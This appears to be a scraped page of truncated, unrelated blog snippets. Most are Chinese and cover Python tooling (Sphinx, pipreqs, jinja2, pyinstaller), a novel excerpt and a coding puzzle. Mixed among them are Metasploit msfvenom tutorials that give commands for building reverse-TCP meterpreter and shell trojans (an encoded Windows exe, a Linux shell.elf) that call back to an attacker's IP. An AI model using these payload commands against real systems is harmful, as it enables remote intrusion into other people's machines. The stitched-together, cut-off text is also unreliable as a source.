Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of th

这篇文章来介绍一下msf中一个生成木马的msfvenom模块. msfvenom命令行选项如下: 英文原版: 中文版: Options: -p, --payload <payload> 指定需要使用的payload(攻击荷载).如果需要使用自定义的payload,请使用&#;-&#;或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsl

msfvenom生成payload命令 windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -opayload.exe mac: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_

用Sphinx自动生成python代码注释文档 pip install -U sphinx 安装好了之后,对Python代码的文档,一般使用sphinx-apidoc来自动生成:查看帮助mac-abeen:doc_logic abeen$ sphinx-apidoc --helpUsage: sphinx-apidoc [options] -o <output_path> <module_path> [exclude_path, ...] Look recursively in &

参考: 查找python项目依赖并生成requirements.txt Ubuntu 下生成 python 环境安装文件 requirements.txt 首先通过 pip 安装pyreqs模块: pip install pipreqs 然后进入 python 源码所在的目录下,执行: pipreqs ./ 该命令在当前目录下生成 requirements.txt. 如果需要在一个新的环境下重新安装源码需要的依赖包,只需执行: pip install -r requirements.txt 20

kali msfvenom生成木马 转:https://blog.csdn.net/qq_33391644/article/details/79266724 msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线 1.让我们正式开始吧,因为我的目标平台是一个win7 64 位,所以要找一个相应的载荷. root@kali:~# msfvenom -l | grep windows | grep x64 | grep

根据yaml文件自动生成python文件 utp框架: bin目录:存放执行文件(run.py) cases目录:存放生成的用例的python文件(该目录下的文件为根据data目录下的测试用例生成的python文件:logoin.py.query.py.reg.py) conf目录:存放配置文件(case_template(需回顾查看该文件的文件类型).setting.py) data目录:存放yaml格式的用例文件(login.yaml.query.yaml.reg.yaml) lib目录:存

一  简单介绍 不管是开源还是闭源,文档都是很重要的.当然理论上说,最好的文档就是代码本身,但是要让所有人都能读懂你的代码这太难了.所以我们要写文档.大部分情况,我们不希望维护一份代码再加上一份文档,这样做很容易造成文档和代码的不一致,程序员最讨厌更新文档了.所以最佳实践就是在程序员代码中加注释,然后通过构建脚本自通生成文档,包括html,latex,pdf等. 对应于Pyhon,有很多可供选择的工具: sphinx中文版介绍 Sphinx使用 reStructuredText作为标记语言(类似

简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件 查看所有--payload的模块 msfvenom -l payloads 文件后缀名-f的格式 msfvenom --help-formats metasploit Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个

msfvenom Options: -p, --payload < payload> 指定需要使用的payload(攻击荷载).如果需要使用自定义的payload,请使用& #039;-& #039;或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled < length> 为payload预先指定一个NOP滑动长度 -

先前有家供应商与我们合作开发自动化工程,采用的py unittest作为脚本运行框架.我发现他们出的脚本都是挨个手写的,格式上也是参差不齐.所以有了根据用例表批量生成脚本的一段小代码 对一个测试脚本必须存在哪些内容,我认为若满足以下三点要求,就算一个合格的测试脚本了. 1.测试用例的描述,包含测试目的,测试详细步骤,预期结果等 2.简洁,易于阅读和维护的代码结构 3.详细的运行LOG记录与测试报告 所以很明显以上脚本结构上是不够完整的,测试执行人员可能都不知道这个脚本测的什么内容.改之 根据用例

​ 在使用airflow的过程中需要大量的dag脚本进行性能测试,如果一个个去编写dag脚本未免太过麻烦,于是想到用python的jinja2模板引擎实现批量脚本生成. 先通过pip命令安装jinja2模块: $ pip install jinja2 然后创建模板文件(模板可以是任何形式的文本格式,没有特定扩展名,甚至可以不要扩展名): dag_template from datetime import timedelta, datetime import pytz from airflow.o

背景:用的python3.8 方法一:用cmd 输入[pip3 install pyinstaller] 上一条指令报错 事实上,在python3.8版本时,输入pip也会显示是无法支持的语句,需要用“pip3” 下一条指令显示如下图,因为我之前下载成功了 (之前下载成功用的命令是 python -m pip install --upgrade pip -i https://pypi.douban.com/simple 转载自链接https://www.cnblogs.com/karrya/p/

四则运算题目生成-基于控制台 项目托管在码云:飞机票 需求分析 根据控制台提示信息,输入题目生成相关配置参数 题目生成数量 数字范围 式子中是否有分数 .... 程序支持 10000 题目生成 题目与答案的本地化存储 对生成的题目进行查重处理 api接口生成 统计对错情况 .... 功能实现 由于此项目是针对面向对象课程所开发,所以代码结构力求做到清晰明了. 结构图如下: 此项目主要完成3个主要部分 表达式生成 generator.py 题目查重 binary_tree.py 计算答案 answ

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip  LPORT=port   -f elf > shell.elf

  令狐冲慢慢走近,那汉子全身发抖,双膝一屈,跪倒在雪地之中.令狐冲怒道:“你辱我师妹,须饶你不得.”长剑指在他咽喉之上,心念一动,走近一步,低声问道:“写在雪人上的,是些什么字?”   那汉子颤声道:“是……是……‘海枯……海枯……石烂,两……情……情不……不渝’.”自从世上有了“海枯石烂,两情不渝”这八个字以来,说得如此胆战心惊.丧魂落魄的,只怕这是破题儿第一遭了.   令狐冲一呆,道:“嗯,是海枯石烂,两情不渝.”心头酸楚,长剑送出,刺入他咽喉. ——<笑傲江湖> 语义分析较困难的根本原

给出 n 代表生成括号的对数,请你写出一个函数,使其能够生成所有可能的并且有效的括号组合. 例如,给出 n = 3,生成结果为: class Solution: def generateParenthesis(self, n: int) -> List[str]: res=[] def helper(left,right,tmp): if left==n and right==n: res.append(tmp) return if left < n: helper(left+1,right,

1.生成requirement 文件的两种方式 1. 'pip freeze ' > requirements.txt --会将环境中的依赖包全都加入(不推荐) 2. 项目用到生成依赖 '# 安装 pip install pipreqs # 在当前目录生成 pipreqs . --encoding=utf8 --force' 3. 安装requirement依赖的方式 pip install -r requirement.txt 2.生成pipfile和Pipfile.lock 1.'pip f

本人贡献一篇关于抓包转换成脚本的文章 步骤一 打开fiddler,抓到包之后,保存成txt文件 步骤二 脚本里str_filename改成保存的文件名 步骤三 执行脚本一键转换 附上脚本,感谢关注~ # -*- coding: utf-8 -*- # @File : fiddler_code.py # @Time : 2021-12-16 15:11 # @Author : dyk # @Email : 1427950904@qq.com # @Software: PyCharm str_fil

发现找不到matplotlib.sphinxext.mathmpl: 可以直接easy_install matplotlib,也可以去这里下载安装包 发现exception: matplotlib requires dateutil错误: 到这里找dateutil安装包(坑爹的easy_install里找不到这个包) 发现exception: matplotlib requires pyparsing错误: 到这里找到pyparsing安装包,或者用easy_install pyparsing来